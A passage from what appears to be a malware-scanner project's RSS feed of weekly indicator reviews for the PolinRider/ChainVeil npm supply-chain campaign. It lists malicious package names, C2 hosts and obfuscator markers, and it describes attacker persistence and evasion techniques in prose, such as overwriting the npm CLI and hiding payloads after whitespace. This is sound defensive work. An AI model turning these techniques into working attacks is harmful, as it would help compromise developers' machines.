<li><code>package.json</code> files depending on the real <code>sass-formatter</code>, <code>typeorm-encrypted</code> and <code>clsx-tailwind-merge</code> → <strong>zero findings</strong> (exit 0)</li>
<li>an HTML file merely <em>referencing</em> <code>/public/fonts/fa-solid-400.woff2</code> in a <code>&lt;link rel="preload"&gt;</code>, without executing it → <strong>zero findings</strong> (exit 0)</li>
</ul>
<p>That last case is the reason the strong indicator is the command string and not
the filename. <code>fa-solid-400.woff2</code> is a real Font Awesome asset present in
thousands of legitimate projects.</p>
<h2 id="considered-and-not-added">Considered and not added</h2>
<p><strong>Three ChainVeil package names, rejected on substring collisions.</strong> This is
the most important rejection in this entry, because all three look perfectly
safe in the source table:</p>
<table>
<thead>
<tr>
<th>Rejected</th>
<th>Is a strict substring of</th>
<th>Which is</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>sass-format</code></td>
<td><code>sass-formatter</code></td>
<td>real, 43 versions, actively maintained</td>
</tr>
<tr>
<td><code>typeorm-encrypt</code></td>
<td><code>typeorm-encrypted</code></td>
<td>real, 10 versions, published 2022</td>
</tr>
<tr>
<td><code>clsx-tailwind</code></td>
<td><code>clsx-tailwind-merge</code></td>
<td>real, published 2023, predates the campaign by three years</td>
</tr>
</tbody>
</table>
<p><code>bad-packages.txt</code> is matched with <code>grep -F</code>, so each of these would report
every project depending on the legitimate package as <code>INFECTED</code>. I confirmed
this rather than assumed it: adding the three back temporarily turned all three
legitimate fixtures from exit 0 to exit 2. Note that this is the <em>reverse</em> of
the 2026-09-07 case, where the malicious name was longer than the real one and
fixed-string matching was therefore safe. Length is what decides it, and it
cuts both ways. Matching these three needs a whole-name comparison against a
parsed manifest — a scanner change, so a maintainer decision.</p>
<p><strong>Filenames that are legitimate names.</strong> The August 13 guide names three files
worth looking for: <code>config.bat</code> (beside the already-carried
<code>temp_auto_push.bat</code>), <code>spellright.dict</code>, and <code>fa-solid-400.woff2</code>. None can be
added. <code>filenames.txt</code> is an <code>INFECTED</code>-tier file, and all three are ordinary
names — <code>spellright.dict</code> belongs to a real VS Code extension, <code>fa-solid-400.woff2</code>
to Font Awesome, and <code>config.bat</code> to anything at all. There is no weak tier for
paths: <code>weak.txt</code> matches file <em>contents</em>, not paths. A weak-filename tier
would close this, and it is a maintainer decision.</p>
<p><strong>The <code>A6-</code> marker family.</strong> <code>A6-519-81</code>, <code>A6-420</code>, <code>A6-317</code>, <code>A6-318</code>, and the
lowercase <code>a6-shadow-15</code> and <code>a6-orion-271</code>. The prefix is a real operator
signature across packages and timeframes, which makes it tempting. But these
are short alphanumeric tokens with no delimiter discipline, and as fixed
strings <code>A6-420</code> in particular would match part numbers, ticket IDs and hex
dumps. Catching the <em>prefix</em> needs a regex with context, not a fixed string.</p>
<p><strong>The NullReceiver recipient address</strong>
<code>0xa658863ea658863e68656c6c6f6970626f742121</code>, and the ASCII fingerprint
<code>helloipbot!!</code> its trailing bytes spell. The recipient is disposable by design
— the entire point of the technique is that it is never reused — so carrying
the one recovered sample would match exactly one historical transaction and
nothing else. <code>helloipbot!!</code> exists only inside those address bytes, not as
text in any scanned file, so it would never fire. The sending wallet, which
<em>is</em> reused, was added instead.</p>
<p><strong><code>secure-box</code> and <code>tailwind-color-shades</code>.</strong> Named as DPRK-owned in a podcast
recap inside the ChainVeil post. Both show takedown placeholders on npm, which
corroborates the claim, but <code>secure-box</code> is far too generic a name to carry at
<code>INFECTED</code> tier on a second-hand mention, and the recap is a summary rather
than the analysis itself. Revisit if a primary source lists them.</p>
<p><strong>The Packagist and Go package names.</strong> <code>polinrider-jumps-the-fence</code> names ten
compromised Composer packages, and reports compromise traces in 80+ Go modules.
These are <em>victims</em>, not attacker-owned names: the maintainers are legitimate
and only specific tagged commits are malicious. By the same rule that keeps
<code>@common-stack/generate-plugin</code> a comment, the name alone is not a finding. The
ten Composer names were added to <code>bad-packages.txt</code> as a comment block, matching
that existing convention, so a reader checking a <code>composer.json</code> has the list
without the scanner matching on it.</p>
<p><strong>Telegram exfiltration.</strong> The August 13 guide notes one variant exfiltrating
over a Telegram bot API alongside the blockchain C2. No bot token, channel or
host is published, and <code>api.telegram.org</code> is far too common to carry even as
weak. Nothing actionable yet.</p>
<h2 id="new-techniques--maintainer-decisions-not-implemented">New techniques — maintainer decisions, not implemented</h2>
<p>Four, described here and deliberately left alone.</p>
<ol>
<li><strong>The npm CLI is overwritten to persist.</strong> This is the significant one.
<code>npm/lib/cli.js</code> — normally a few hundred bytes and about four lines — is
replaced with a ~1 MB malicious CLI, payload appended after a long whitespace
run starting on line 5. Every <code>npm</code>, <code>npx</code> or <code>npm exec</code> call then re-spawns
the malware, and it survives a reboot because it lives in the tool rather
than in a process. <strong>This defeats the entire remediation sequence this
repository documents</strong>: a user can clean every repo, rotate every credential
and quarantine every implant path, and be reinfected by their next <code>npm i</code>.
A check would compare <code>npm/lib/cli.js</code> against a size threshold, following
symlinks. It is not an <code>ioc/</code> entry — the path is legitimate and only the
size and content are wrong — so it needs a new local check.</li>
<li><strong>Injection targets are now chosen by reachability.</strong> The malware originally
appended to five or six known config names, then fifteen or sixteen. It now
reads the project to find a <code>.js</code>/<code>.ts</code>/<code>.cjs</code>/<code>.mjs</code> file that is actually
in the execution path, and injects there. Any check keyed to a fixed list of
config filenames is looking in the wrong place.</li>
<li><strong>NullReceiver replaces the fixed dead-drop.</strong> C2 resolution has moved from
TRON/Aptos with a known burn address to an Ethereum transfer whose
<em>recipient address</em> encodes the C2 IP, with no contract and no calldata.
Detection built around “malware reads a transaction’s data field” will not
see it.</li>
<li><strong>A size heuristic for poisoned configs.</strong> The payload sits after roughly 280
spaces; a config that should be 80–200 bytes arrives at ~5,000. Cheap to
check and independent of any marker, which is exactly what makes it worth a
maintainer’s attention given how often the markers rotate.</li>
</ol>
<h2 id="open-gaps">Open gaps</h2>
<p><strong>The July 2026 ecosystem expansion — substantially closed, and smaller than it
looked.</strong> The previous entry carried this as the largest hole in the set: 162
malicious artifacts across 108 packages. Now that the sources are reachable,
the 108 breaks down (The Hacker News, quoting Socket) as <strong>19 npm libraries, 10
Composer packages, 61 Go modules and one Chrome extension</strong>.</p>
<p>Only the npm portion is matchable by name at all — the Composer and Go entries
are hijacked victim repositories, where the name is not a finding and the
tagged commit is. This review added 16 of those 19 npm names and documented
why the other three cannot be fixed strings. So the matchable part of this gap
is essentially closed, and the headline number always overstated it.</p>
<p>What remains:</p>
<ul>
<li><strong>The one Chrome extension is still unnamed</strong> in any source reachable from
here. Socket’s own post is the only place likely to name it, and socket.dev
returns 403 by policy.</li>
<li><strong>Three npm names from the 19 are unaccounted for</strong>, beyond the 16 carried.
Same source problem.</li>
<li><strong><code>sass-format</code>, <code>typeorm-encrypt</code> and <code>clsx-tailwind</code> are known-malicious
and deliberately unmatched.</strong> This is a real detection hole, not an
oversight, and it stays open until there is a whole-name matching path.</li>
</ul>
<p><strong>New gap: the npm CLI persistence has no coverage.</strong> Technique 1 above defeats
the documented cleanup sequence, and nothing in this repository detects it.
This is the highest-value change now available, and unlike the ecosystem
expansion it is blocked on nobody — the source is read, the mechanism is
understood, and it needs a maintainer to decide the shape of the check.</p>
<h2 id="notes">Notes</h2>
<ul>
<li><strong><code>shellcheck</code> is not installed in this container.</strong> <code>bash -n</code> passes on
every script. CI enforces shellcheck, and this change touches only <code>ioc/*.txt</code>
data files with no shell code changed, so the risk is nil — but a future
review making a code change cannot validate it here.</li>
<li>Self-tests: <code>selftest</code>, <code>selftest-implant</code>, <code>selftest-entrypoint</code>,
<code>selftest-nextsteps</code> and <code>selftest-preserve</code> pass. <code>selftest-restore</code>,
<code>selftest-rewrite</code> and <code>selftest-ui</code> fail, and I confirmed against a fresh
clone of unmodified <code>main</code> that they fail there identically — byte-identical
output for two of them, and differing only by a random temp directory name
for <code>selftest-restore</code>. Unchanged from the appendix’s standing note.</li>
<li>No page or repository read during this review attempted to give the reviewer
instructions.</li>
<li>The commits on this branch are <strong>unverified</strong>, for the reason the appendix
documents: the container’s signing key is registered to Claude, and authoring
as the maintainer — which is correct — yields <code>unknown_key</code>. Squash-merge
resolves it; GitHub signs the squash commit itself.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Weekly indicator review, 7 September 2026: 3 indicators added</title>
      <link>https://polinriderscanner.com/indicator-reviews/2026-09-07/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/indicator-reviews/2026-09-07/</guid>
      <pubDate>Mon, 07 Sep 2026 00:00:00 GMT</pubDate>
      <category>Indicator review</category>
      <description>Two npm package names and one BSC RPC node, all gaps against the April 2026 dossier. Nothing new published upstream.</description>
      <content:encoded><![CDATA[<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Outcome</strong></td>
<td>3 indicators added</td>
</tr>
<tr>
<td><strong>Pull request</strong></td>
<td><a href="https://github.com/meSingh/polinrider-cleaner/pull/30">#30</a></td>
</tr>
<tr>
<td><strong>Indicator set</strong></td>
<td><code>ioc/bad-packages.txt</code>, <code>ioc/weak.txt</code></td>
</tr>
</tbody>
</table>
<h2 id="sources">Sources</h2>
<table>
<thead>
<tr>
<th>Source</th>
<th>Reached</th>
<th>What it said</th>
</tr>
</thead>
<tbody>
<tr>
<td>OpenSourceMalware dossier</td>
<td>yes, cloned and read in full</td>
<td>README unchanged since its 2026-04-11 revision. Latest commit 2026-07-09, adding two victim CSVs</td>
</tr>
<tr>
<td>opensourcemalware.com blog</td>
<td><strong>no</strong> — egress-blocked</td>
<td>read indirectly through search summaries</td>
</tr>
<tr>
<td>Web search, last 7 days</td>
<td>yes</td>
<td>nothing published in the window; most recent analysis is July 2026</td>
</tr>
<tr>
<td>socket.dev tracker</td>
<td><strong>no</strong> — egress-blocked</td>
<td>read indirectly through search summaries</td>
</tr>
</tbody>
</table>
<p><code>opensourcemalware.com</code> and every third-party analysis host — socket.dev,
thehackernews.com, threatfox.abuse.ch, checkmarx.com, rescana.com — were
unreachable from the review environment, which permits outbound HTTPS only to an
allowlist. Their content was read through search summaries, which establishes
that something was published and roughly what it said, and is not enough to copy
an indicator out of. Nothing added below is sourced that way.</p>
<h2 id="upstream-state">Upstream state</h2>
<p>Nothing new was published this week.</p>
<p>The dossier README still carries its 2026-04-11 revision date. Its most recent
commit is 2026-07-09, adding <code>polinrider-compromised-owners-july10.csv</code> and
<code>polinrider-compromised-repos-july10.csv</code>: 2,417 victim repositories and 1,219
owners. Those are victim inventories, not indicators. The injection vectors and
hit paths in them are the four already documented — config-file injection, fake
<code>.woff2</code> font, <code>.vscode/tasks.json</code>, malicious npm dependency — and no new
marker, host or path appears in either file.</p>
<p>The signatures have not rotated again: the two obfuscator variants in the April
dossier, <code>rmcej%otb%</code> and <code>Cot%3t=shtP</code>, are still the two in circulation.</p>
<h2 id="added">Added</h2>
<p>All three are gaps against a source this repository already cites, not fresh
intelligence. They should have been carried from the first release.</p>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>File</th>
<th>Why there</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>tailwind-animationbased</code></td>
<td><code>ioc/bad-packages.txt</code></td>
<td>Attacker-published package from the deleted <code>allavin</code> / <code>blackedward</code> accounts, same family as the five names already listed</td>
<td><a href="https://github.com/OpenSourceMalware/PolinRider#malicious-npm-packages">dossier, npm package table</a></td>
</tr>
<tr>
<td><code>tailwindcss-animate-style</code></td>
<td><code>ioc/bad-packages.txt</code></td>
<td>As above</td>
<td><a href="https://github.com/OpenSourceMalware/PolinRider#malicious-npm-packages">dossier, npm package table</a></td>
</tr>
<tr>
<td><code>bsc-rpc.publicnode.com</code></td>
<td><code>ioc/weak.txt</code></td>
<td>The loader’s second BNB Smart Chain RPC node, listed beside <code>bsc-dataseed</code>, which was already here. Public endpoint, so weak</td>
<td><a href="https://github.com/OpenSourceMalware/PolinRider#c2-infrastructure-indicators-of-compromise">dossier, C2 infrastructure</a></td>
</tr>
</tbody>
</table>
<p>Both package names had zero observed victim repositories at the time of the April
hunt, which is presumably why they were skipped. A ghost dependency reference in
a <code>package.json</code> outlives the registry entry npm scrubbed, so the names are still
worth matching.</p>
<p>Verified against fixtures before the pull request was opened: a <code>package.json</code>
naming <code>tailwind-animationbased</code> returns <code>INFECTED</code>; a file containing
<code>bsc-rpc.publicnode.com</code> returns <code>review</code>; and a <code>package.json</code> depending on the
real, popular <code>tailwindcss-animate</code> returns <strong>zero findings</strong> — fixed-string
matching means the longer malicious name matches only itself.</p>
<h2 id="considered-and-not-added">Considered and not added</h2>
<ul>
<li><strong>Obfuscator shuffle seeds</strong> <code>2857687</code>, <code>2667686</code> (variant 1) and <code>1111436</code>,
<code>3896884</code> (variant 2). The dossier’s YARA rule uses them, but only in
conjunction with a marker or a decoder name. <code>ioc/</code> is matched as fixed strings
with no conjunction, so on its own each one flags any file containing that
seven-digit number.</li>
<li><strong><code>global['r'] = require</code> and <code>global['m'] = module</code></strong>, the two strings the
dossier’s YARA rule treats as common across both variants. These are how you
would catch a third variant that had rotated its marker, which makes them
tempting, but the exact spacing is an artefact of one generator’s output and
minification breaks the match. This wants a regex check in the scanner, not a
fixed string in <code>ioc/</code>, and that is a maintainer decision.</li>
</ul>
<h2 id="open-gaps">Open gaps</h2>
<p><strong>The July 2026 ecosystem expansion is not in <code>ioc/</code> at all.</strong> Socket counted 162
malicious release artifacts across 108 packages spanning npm, Packagist, Go
modules and one Chrome extension, and Checkmarx documented the ChainVeil and
ViteVenom npm clusters that OpenSourceMalware then attributed to this actor. The
main README’s scale table already records the counts; not one of those package
names is matchable by the scanner.</p>
<p>This is the largest known hole in the indicator set. Nothing from it was added
here because the package lists were behind the review environment’s egress
allowlist, and an indicator that was not read from its source does not belong in
<code>ioc/</code>. Closing it needs a deliberate pass from a machine that can reach the
Socket and Checkmarx reports, not a weekly sweep.</p>
<h2 id="notes">Notes</h2>
<ul>
<li>No page or repository read during this review attempted to give the reviewer
instructions.</li>
<li>The commits on #30 were written through the GitHub contents API and came back
<strong>unsigned</strong>: that API applies GitHub’s web-flow signature only for GitHub App
installation tokens, and the review job authenticates as a user. The GraphQL
<code>createCommitOnBranch</code> mutation, which always signs, is not available in the
sandbox. #30 was squash-merged, which is the fix — GitHub builds and signs the
squash commit itself, so <code>main</code> stayed fully verified. Squash is the merge
method for these pull requests from now on.</li>
</ul>
]]></content:encoded>
    </item>
  </channel>
</rss>
